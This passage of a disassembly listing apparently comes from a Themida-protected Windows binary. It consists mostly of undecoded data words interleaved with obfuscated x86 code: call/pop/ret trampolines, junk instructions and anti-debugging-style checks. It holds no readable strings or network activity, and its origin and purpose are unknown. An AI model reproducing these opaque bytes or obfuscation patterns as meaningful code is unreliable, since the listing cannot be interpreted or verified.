dd 5F235FC4h, 0F88B6660h, 0CA12F281h, 6A61368Eh, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 296676D3h, 0B944CB10h, 8A0FF0CDh, 6, 13619D89h, 858D0612h
dd 615F6FDh, 6A05C083h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 18042444h, 41000000h, 8AE4C351h, 89AB1049h
dd 12217195h, 85953106h, 50061226h, 489F38Bh, 0E6816624h
dd 6A87B8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 15h, 0D7C35343h, 0D99D3106h, 6A061213h, 0F18B6600h
dd 0B5595FFh, 6A0612h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 160424h, 50400000h, 0BCA268C3h, 1F05B501h, 8B660612h
dd 0CA9D8DFEh, 8906159Bh, 121CC1BDh, 3D3FF06h, 120395B5h
dd 3585FF06h, 66061212h, 0E9AF93BFh, 8F1h, 0E8h, 0ED815D00h
dd 615F707h, 0EE9h, 0EB270600h, 73E2FEEh, 84BBB29Eh, 81B44E40h
dd 1207E5BDh, 7D006h, 1C860F00h, 0E8000001h, 14h, 529DACC7h
dd 0BAD1411Eh, 0C62632A1h, 0AB1533FCh, 0FDA791DFh, 61EF06BEh
dd 9D8B5E5Eh, 6122ED9h, 39ABE66h, 100E381h, 6A0000h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
dd 43AFB2C3h, 0FB1B59A1h, 60515C14h, 31DD9D89h, 81660612h
dd 61F9F4DEh, 0FDB0B5Fh, 8785h, 0F38B6600h, 0F592BD83h
dd 0F000615h, 3284h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1C04h, 0C3574700h, 4A6E2A64h, 5DCBC704h
dd 62E9CFh, 8D0F0000h, 3, 0C7FFBF0Fh, 15F59285h, 106h
dd 0EE800h, 0ED0A0000h, 4CDE608Fh, 2809FDAFh, 5CC5CE72h
dd 16E5B58Bh, 0E95E0612h, 30h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 14h, 0DC35747h, 0F59285C7h, 615h
dd 60600000h, 0B519589h, 61610612h, 2ED99D8Dh, 0B5310612h
dd 6122785h, 0FEFF2381h, 3ABFFFFFh, 66392B8Ch, 6ADB8Ch
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
dd 9EF037C3h, 66C1D0A5h, 0C0FAF781h, 0F04C3F6h, 9584h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h
dd 0C3564600h, 1B34B6Ch, 1221AD8Dh, 0A995FF06h, 6006120Ch
dd 5870Fh, 33BB0000h, 6644DA0Bh, 0AD84F281h, 0E8609061h
dd 0Bh, 8E99B38Ah, 0E7900C0Ah, 0FB6F7DBh, 85h, 50525A00h
dd 5A310F52h, 50615958h, 7E9h, 0C35C7C00h, 8322AEEDh, 50006A90h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
dd 39C401A2h, 5B83F19Ch, 23F5B509h, 9EE90612h, 6A000004h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h
dd 45000000h, 1702C355h, 0D3AA5AEDh, 4454AA65h, 0B0F7B70Fh
dd 148E0F00h, 0F000000h, 0E87h, 9E900h, 41760000h, 54A8B9F9h
dd 0E6AD5542h, 51006A70h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1504h, 0C3514100h, 8E9E00Eh, 0B5000000h
dd 0B8125759h, 0E42C608Dh, 5BE6671h, 6495BE4Ah, 0B60F2641h
dd 50006AD8h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h
dd 0C3504000h, 0BE9D17Eh, 7D000000h, 9DE8A018h, 88298EF6h
dd 6BA62F9h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1B042444h, 47000000h, 0F237C357h, 317A2EA2h
dd 8166495Fh, 8B1138F6h, 1231E9B5h, 6AC38B06h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
dd 8BE7C350h, 8BB28754h, 120831B5h, 4E8C106h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0D0C35747h, 0B58B5FECh
dd 6121EE5h, 6AE2F766h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 16042444h, 47000000h, 0F6DFC357h, 0A9BD8958h
dd 2B061225h, 55006AD8h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1504h, 0C3554500h, 0FE9AF88h, 1F000000h, 921951E0h
dd 0D90E8429h, 5685C3F4h, 0BF5014C4h, 3DC5424Eh, 0F241C89h
dd 0B5FFFEB7h, 61207E5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Bh, 0F9C35545h, 43360E4Bh, 0FF20169Eh, 1229D195h
dd 0FE806h, 73EB0000h, 9B9510B3h, 3ACD0BA5h, 0D9AC2347h
dd 0EE81666Ah, 0B05E2CA3h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 84C3E5CBh
dd 0E4F570E6h, 613CF971h, 293830Fh, 0BD8B0000h, 6121CF9h
dd 89D8B60Fh, 12302585h, 6BA06h, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 150424h, 55450000h, 81B419C3h
dd 8134BEC6h, 5DB58B15h, 8B061226h, 57006AC3h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 7AF51282h
dd 180226B6h, 3D85295Fh, 0E9061222h, 13h, 8ACBAEF4h, 2820BA96h
dd 0CDA45253h, 0E88DB0ADh, 0C157C240h, 0EE904E8h, 61000000h
dd 0DFA8BACEh, 8C1DB9F4h, 7D76C8DFh, 0E2F76638h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 1FC35747h, 0F27028Fh
dd 58Dh, 0F6816600h, 0D82BDE6Dh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ah, 22C35545h, 18C1F4A7h, 8509CCD4h
dd 612258Dh, 799D8958h, 2B06120Ch, 96880FD8h, 6A000001h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h
dd 43000000h, 928AC353h, 0DC1DBE66h, 7B9h, 0C18300h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0A3C35545h, 0DD92A510h
dd 0A3311641h, 0FA8B6624h, 860FD93Bh, 13Dh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 16C35747h, 0DA7CE054h
dd 9D8947F2h, 61214D5h, 8BD98C66h, 120C31BDh, 4C1F606h
dd 0FB840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1C0424h, 53430000h, 864A00C3h, 0AAE69B80h, 95FF3BD7h
dd 6120CA9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Dh, 89C35343h, 2D6B5A14h, 3FF77A1Ch, 6830FCBh, 0B000000h
dd 122021BDh, 0F98BF506h, 57006A5Bh, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 8DB52B02h
dd 66061200h, 5E7AE781h, 343DC32Bh, 0F000008h, 6886h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
dd 14E8D7E4h, 35000000h, 778B887Bh, 0A4B60819h, 0B43C1361h
dd 7C8A89EDh, 0F819424h, 28Ah, 5FF88B00h, 2CE9h, 56006A00h
dd 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0E2279755h
dd 0FDD3E278h, 29C08BC5h, 12202185h, 8BC38B06h, 850F56D8h
dd 0
; ---------------------------------------------------------------------------
pop edi
mov dword ptr [ebp+6122349h], 3F9F959Fh
sub edi, [ebp+6122A8Dh]
mov eax, eax
push 0
push edi
call sub_5BB8BA
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BB8BA proc near ; CODE XREF: Themida_:005BB8B2p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_5BB8BA endp
; ---------------------------------------------------------------------------
aas
mov di, 3A76h
cmp dword ptr [ebp+61207E5h], 7D0h
jnz loc_5BB90E
mov esi, [ebp+6120051h]
inc dword ptr [ebp+61207E5h]
push 0
push esi
call sub_5BB8F6
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BB8F6 proc near ; CODE XREF: Themida_:005BB8EEp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
retn
sub_5BB8F6 endp
; ---------------------------------------------------------------------------
db 3Eh
dec dword ptr [ebx+121A8DB5h]
push es
loc_5BB90E: ; CODE XREF: Themida_:005BB8D9j
push dword ptr [ebp+61207E5h]
jmp loc_5BB929
; ---------------------------------------------------------------------------
db 7Fh, 4, 0DAh
dd 0D6F77B6Ah, 14ACF015h, 0C21AF25Fh
db 39h
; ---------------------------------------------------------------------------
loc_5BB929: ; CODE XREF: Themida_:005BB914j
mov [ebp+6121E01h], eax
call dword ptr [ebp+61229D1h]
push 0
push ebp
call sub_5BB940
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BB940 proc near ; CODE XREF: Themida_:005BB938p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_5BB940 endp
; ---------------------------------------------------------------------------
dd 117C2D4Bh, 0C7E00554h, 6A9097h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1B0424h, 55450000h, 0E575A6C3h, 6A1F64CDh
dd 56006A0Eh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h
dd 0C3564600h, 0D739E128h, 0B58B5380h, 61214DDh, 219501h
dd 2B5F0612h, 122015BDh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1804h, 0C3574700h, 0B20E8F5Bh, 0ED9D894Bh
dd 60061222h, 238DBD31h, 858B0612h, 6120395h, 52006A61h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
dd 0FEB9C752h, 0F847F917h, 57006A43h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 6F832585h
dd 58B0F92h, 0BE000000h, 8474AEDh, 1E99B509h, 5E80612h
dd 4E000000h, 0AF7FCCC4h, 0BE665FF5h, 95016EA7h, 61213E1h
dd 6AF28B66h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 17042444h, 45000000h, 2CC8C355h, 8960F8FDh, 121671BDh
dd 0FD8D8B06h, 0E8061219h, 10h, 6FCEFC93h, 2B6ECD77h, 105DF2C8h
dd 0D7F0661Fh, 0F2C18166h, 0F615AF6h, 889h, 0B58B5100h
dd 6121459h, 0F72EE95Eh, 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 170424h, 53430000h, 6D7BF8C3h, 89C18B45h
dd 121AC5BDh, 0E9BD8B06h, 0EB061229h, 4, 50006A00h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
dd 0EBCC906Bh, 0F3B70F57h, 50006A5Eh, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1C04h, 0C3504000h, 0B01B8006h
dd 7B15836Bh, 0E59529A8h, 8D06121Ah, 12006585h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
dd 78596C3Ch, 6E99DA3h, 27000000h, 28CA9C5Ch, 820F563Dh
dd 6, 8459D89h, 905F0612h, 6E8h, 6F2DE400h, 5FEF3C1Ch
dd 905E5150h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Bh, 8CC35646h, 44966C43h, 8BBD939Ah, 1216D9BDh, 6AF806h
dd 5E9h, 12F4A200h, 6660F9C7h, 66597BBAh, 617062BAh, 0F781006Ah
dd 2FDEF6A7h, 24C858Dh, 0B58B0616h, 61203B1h, 6A05C083h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h
dd 46000000h, 4179C356h, 0AA622E9Ah, 12E9CBh, 56030000h
dd 0CFD3B4DAh, 8794328Fh, 931FA372h, 3588B510h, 0F78B6650h
dd 81240489h, 350F8C6h, 6A006A16h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0D899C356h
dd 0D9E24EC6h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1B0424h, 51410000h, 80ACFCC3h, 0DDF4A341h, 5595FF03h
dd 6A06120Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1B042444h, 42000000h, 33FAC352h, 0E2ACF63Bh, 0BE661ABFh
dd 9D8DE7EAh, 6159BCAh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ah, 5EC35747h, 6FBA1F74h, 8E0F1423h, 12h
dd 0DE9h, 7A57F100h, 27E02590h, 38E79715h, 0D3FF3156h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0FCC35343h
dd 1507C8Dh, 122A6985h, 85FF5F06h, 6121235h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 1DC35343h, 653A7B4Fh
dd 0BE66E66Bh, 0CEE94ABBh, 0E8000007h, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 6160256h
mov esi, 2F4AA649h
cmp dword ptr [ebp+61207E5h], 7D0h
jbe loc_5BBE79
push 0
push edi
call sub_5BBD57
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BBD57 proc near ; CODE XREF: Themida_:005BBD4Fp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Dh
inc edi
push edi
retn
sub_5BBD57 endp
; ---------------------------------------------------------------------------
xor eax, 625C6D1h
jnp short loc_5BBDD1
pop ecx
test [ecx+edi*8], eax
mov ebx, [ebp+6122D69h]
push 0
push ebp
call sub_5BBD83
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BBD83 proc near ; CODE XREF: Themida_:005BBD7Bp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 18h
inc ebp
push ebp
retn
sub_5BBD83 endp
; ---------------------------------------------------------------------------
mov eax, 5D6EC7F1h
and ebx, 100h
jmp loc_5BBDB5
; ---------------------------------------------------------------------------
db 1Dh
dd 8DCD04C8h, 0F57B20A3h, 9DFABD69h, 0C1470880h
db 0E9h
; ---------------------------------------------------------------------------
loc_5BBDB5: ; CODE XREF: Themida_:005BBD9Ej
or ebx, ebx
jnz loc_5BBE17
push 0
push edx
call loc_5BBDC8
and [edx-3Dh], bl
loc_5BBDC8: ; CODE XREF: Themida_:005BBDC0p
pop edx
mov [esp+4], edx
; ---------------------------------------------------------------------------
db 81h, 44h, 24h
db 4
; ---------------------------------------------------------------------------
loc_5BBDD1: ; CODE XREF: Themida_:005BBD6Cj
sbb eax, 42000000h
push edx
retn
; ---------------------------------------------------------------------------
dd 0A13BD485h, 0CF98F0E1h, 8B66D87Ah, 3BD83F8h, 61600h
dd 0C840Fh, 0BF660000h, 46E9815Bh, 0F000000h, 85C7FABFh
dd 6160003h, 1, 2363BF66h, 30E9h, 45BD2B00h
; ---------------------------------------------------------------------------
push ss
adc al, [esi]
loc_5BBE17: ; CODE XREF: Themida_:005BBDB7j
mov dword ptr [ebp+6160003h], 0
push 0
push ebp
call sub_5BBE2C
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BBE2C proc near ; CODE XREF: Themida_:005BBE24p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 18h
inc ebp
push ebp
retn
sub_5BBE2C endp
; ---------------------------------------------------------------------------
clc
sub al, 8Dh
lodsb
and ecx, [ebp+122D699Dh]
push es
mov [ebp+61220C1h], edx
and dword ptr [ebx], 0FFFFFEFFh
push 0
push ebp
call sub_5BBE5E
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BBE5E proc near ; CODE XREF: Themida_:005BBE56p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_5BBE5E endp
; ---------------------------------------------------------------------------
dw 8FA4h
; ---------------------------------------------------------------------------
mov cl, 0Bh
pop ecx
pop ebp
lds ebp, [ecx]
cmc
mov esi, edx
loc_5BBE79: ; CODE XREF: Themida_:005BBD46j
mov bx, ds
push 0
push edi
call sub_5BBE87
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BBE87 proc near ; CODE XREF: Themida_:005BBE7Fp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_5BBE87 endp
; ---------------------------------------------------------------------------
db 51h
dd 28E0F72h, 50000000h, 4C3F65Eh, 60840Fh, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
dd 49BD9EC3h, 0DB5BCA41h, 95FFEA5Bh, 6120CA9h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 2FC35343h, 908D3907h
dd 0B8666060h, 44BA25F4h, 61233D84h, 61CA8B66h, 0F88B6650h
dd 0D9E9F990h, 6A000003h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1D042444h, 47000000h, 2CEBC357h, 64CA30B6h
dd 84627862h, 950100B0h, 6121AD9h, 6A70E6h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 160424h, 56460000h, 8D1635C3h
dd 1E1DB523h, 2B520612h, 1215FDBDh, 71E45F06h, 0D8B60FF8h
dd 10E9h, 2479F500h, 5E7B73B3h, 0D8A1A0A7h, 7161527Eh
dd 6BAFCh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 150424h, 52420000h, 8B14C7C3h, 50006AC3h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1D04h, 0C3504000h, 2811C860h
dd 26DF8A2Ah, 8950D029h, 1233F1BDh, 0E8C15E06h, 75953104h
dd 66061226h, 6AE2F7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1C0424h, 55450000h, 5A3BD7C3h, 106B7FA8h, 8D899D1Dh
dd 6122F15h, 6AD82Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1B0424h, 57470000h, 3C4143C3h, 0BEF7BC2h, 5676BF0Fh
dd 6693676Fh, 6050FB8Bh, 50CE8B66h, 0FDE8B52h, 5AF78B31h
dd 0E9936158h, 0Fh, 2DD7BCE3h, 0C3FD99D0h, 16A20ADCh, 0FF27551Ch
dd 1207E5B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1604h, 0C3514100h, 8B36965Eh, 121F65BDh, 0D195FF06h
dd 0F061229h, 380h, 0F2B70F00h, 2325B58Bh, 0B00612h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 7DC35747h, 48124783h
dd 8BC2FA00h, 1228F5B5h, 9952906h, 0E606122Bh, 55006A70h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
dd 8BA73FC3h, 8BF67E94h, 0FE9F7h, 12430000h, 8A1DD76Ch
dd 0BC3A0088h, 8BF5CDDCh, 6A71E4C2h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0F1A6C357h
dd 0CF781E5h, 613C256Fh, 1B2830Fh, 0B60F0000h, 0AE8D8h
dd 0E63C0000h, 1BF32575h, 4B2013E5h, 11959589h, 0BA5E0612h
dd 6, 2D7DB589h, 0C38B0612h, 0E8C15F57h, 0CE904h, 79100000h
dd 0E0D2A969h, 383034CAh, 8E93A69h, 0A7000000h, 77E5B71Fh
dd 66EB2943h, 0BF66E2F7h, 0D82BFCF4h, 1409BD89h, 6A580612h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h
dd 40000000h, 2C8EC350h, 4061F34Bh, 0D82BDEC5h, 12E880Fh
dd 8D0F0000h, 2, 7B9F98Bh, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 4ED7C353h
dd 0C4242C21h, 860F4B32h, 0Ch, 68A0Fh, 8A0F0000h, 0
; ---------------------------------------------------------------------------
mov esi, [ebp+61214F9h]
add ecx, 0
add di, 46CEh
cmp ebx, ecx
jbe loc_5BC2E8
jg loc_5BC21E
sub [ebp+61220C1h], edi
loc_5BC21E: ; CODE XREF: Themida_:005BC212j
and edi, [ebp+6120B7Dh]
mov cx, ds
or [ebp+61224D5h], ecx
test cl, 4
jz loc_5BC2E6
mov di, 69EBh
call dword ptr [ebp+6120CA9h]
push 0
push ebx
call sub_5BC24B
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BC24B proc near ; CODE XREF: Themida_:005BC243p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 19h
inc ebx
push ebx
retn
sub_5BC24B endp
; ---------------------------------------------------------------------------
db 0C1h
dd 94BC32E7h, 69952939h, 5B06122Eh, 0CE8h, 16564700h, 0FFBCCBA8h
dd 777A9CECh, 0C32B5FEEh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ch, 0DFC35545h, 49CABF92h, 0EFADB250h, 8FDB58Bh
dd 343D0612h, 0F000008h, 3586h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 0A7A45CCFh
dd 1DA05D6h, 0CCC681CCh, 0E97EE0C4h, 8, 2CC5B58Bh
; ---------------------------------------------------------------------------
adc al, [esi]
loc_5BC2E6: ; CODE XREF: Themida_:005BC230j
mov eax, eax
loc_5BC2E8: ; CODE XREF: Themida_:005BC20Cj
mov eax, ebx
mov ebx, eax
mov esi, [ebp+6121765h]
mov dword ptr [ebp+6122ED9h], 15E2991Fh
mov eax, eax
push 0
push ebx
call sub_5BC309
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BC309 proc near ; CODE XREF: Themida_:005BC301p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ah
inc ebx
push ebx
retn
sub_5BC309 endp
; ---------------------------------------------------------------------------
db 6Fh, 31h, 3Ah
; ---------------------------------------------------------------------------
sal dword ptr [ebp-20h], cl
push edi
sub [ebp+61208A1h], eax
cmp dword ptr [ebp+61207E5h], 7D0h
jnz loc_5BC364
push 0
push ebp
call sub_5BC341
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BC341 proc near ; CODE XREF: Themida_:005BC339p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_5BC341 endp
; ---------------------------------------------------------------------------
sbb dword ptr [esi-13h], 0FF261D9Bh
inc dword ptr [ebp+61207E5h]
xor [ebp+612264Dh], ebx
loc_5BC364: ; CODE XREF: Themida_:005BC330j
push dword ptr [ebp+61207E5h]
push 0
push ebp
call sub_5BC375
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BC375 proc near ; CODE XREF: Themida_:005BC36Dp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_5BC375 endp
; ---------------------------------------------------------------------------
enter 0FFFFCD27h, 0BEh
jnp short loc_5BC39D
xor dword ptr [edi-1], 1229D195h
push es
add edi, [ebp+6122A21h]
nop
push 0
push edx
loc_5BC39D: ; CODE XREF: Themida_:005BC389j
call sub_5BC3A5
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BC3A5 proc near ; CODE XREF: Themida_:loc_5BC39Dp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_5BC3A5 endp
; ---------------------------------------------------------------------------
db 0F3h, 44h, 21h
dd 0F9CFED4Ah, 6AD5CFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 180424h, 53430000h, 0C8ECCBC3h, 0BD8B7CFDh, 6120019h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 7CC35646h
dd 98509FBh, 6606122Eh, 860FFE8Bh, 5, 42F78166h, 53006A6Fh
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
dd 0EE8F54Ah, 5E000000h, 1555FA45h, 93B167FDh, 0B675D182h
dd 0B585890Fh, 0E906121Ch, 11h, 0C5D26CFFh, 0DBED9E28h
dd 7EED3E5h, 0C060914Eh, 6A5F5Ch, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 190424h, 52420000h, 45236EC3h, 0E9CA9F6Dh
dd 5, 20DFB426h, 56006AA7h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1904h, 0C3564600h, 0B92FFFF5h, 8B5757D6h
dd 1227D5B5h, 850F5F06h, 16h, 11E9h, 0D2571900h, 0D7D2B64Eh
dd 770C7F73h, 51CCB660h, 54E9A4EDh, 6AFFFFF8h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
dd 23E1C353h, 122D7DB5h, 66C18B06h, 0A750F681h, 4EBh, 0BF0F0000h
dd 52006AF2h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h
dd 0C3524200h, 0AA398A34h, 908CC0B0h, 5810F67h, 66000000h
dd 0E8E7DF81h, 12ED8589h, 858D0612h, 6120065h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 91C35343h, 423CC1B0h
dd 459CCD2Dh, 32323EBFh, 0E9509027h, 12h, 0FC05A880h, 3AD4DEF8h
dd 10D3E718h, 870CAF75h, 0F90C93Ah, 6AF6BFh, 17FDB589h
dd 6A0612h, 17798D31h, 8B660612h, 0A9858DFEh, 6A06160Bh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h
dd 47000000h, 83B2C357h, 8B5105C0h, 50505EFAh, 60310F52h
dd 5A616160h, 24048958h, 0CE9h, 0C2C2AD00h, 0FAB90B51h
dd 505AD351h, 0F8006A7Dh, 6A006AF5h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 62B3C355h
dd 8160CC7Dh, 33599FE2h, 95FF617Ah, 6120B55h, 9BCA9D8Dh
dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
dd 53430000h, 43F9DBC3h, 670DE08Bh, 603689C1h, 4FB7E38Ah
dd 0CDB58B61h, 0FF061200h, 0DF8166D3h, 85FF5CDEh, 6121235h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 5AC35242h
dd 8EC80718h, 0BF66578Bh, 0E95EC01Eh, 881h, 0E8h, 0ED815D00h
dd 6160BB3h, 0AE8h, 60FAAE00h, 0B1254393h, 0BF9EB3C1h
dd 4407E870h, 6040BF5Eh, 0BD81360Bh, 61207E5h, 7D0h, 141860Fh
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
dd 56460000h, 0E1FB36C3h, 18E0Fh, 8BF50000h, 121E199Dh
dd 6860F06h, 8B000000h, 1207FDB5h, 0E38106h, 81000001h
dd 0DA7907EEh, 98D8921h, 0B06122Bh, 80850FDBh, 51000000h
dd 1F559D31h, 835E0612h, 160A28BDh, 840F0006h, 50h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0F5C35242h, 0DCD85F3Ah
dd 8B665F56h, 7CE9F3h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 180424h, 57470000h, 1E11E6C3h, 0B4607546h
dd 615CB7FAh, 0A2885C7h, 10616h, 85890000h, 6122685h, 41E9h
dd 358D8900h, 0C7061224h, 160A2885h, 6, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 556FBC5Bh, 0EC6D80A8h, 7E98CEAh, 80000000h, 17CC5CB7h
dd 9D8D1107h, 6121E19h, 14E8h, 15E72A00h, 104F0CD7h, 0C75646B1h
dd 87AC51FDh, 5FFB749Ah, 0E5806093h, 0A1958B96h, 61061234h
dd 90BF665Eh, 0FF238124h, 66FFFFFEh, 6ADB8Ch, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 8CA7CC3h
dd 8F597D31h, 0F04C3F6h, 4684h, 0FFF88B00h, 120CA995h
dd 0D7816606h, 0E9509F0Fh, 0Ch, 0D89853EEh, 6FC2E8FFh
dd 54CF723Bh, 6A240489h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1C042444h, 42000000h, 21ECC352h, 0E21F2C22h
dd 0E9EBCEC0h, 416h, 198589h, 0B00612h, 28B0F60h, 60000000h
dd 0F2BF0F61h, 0F70E661h, 71E4FAB7h, 6AD8B60Fh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
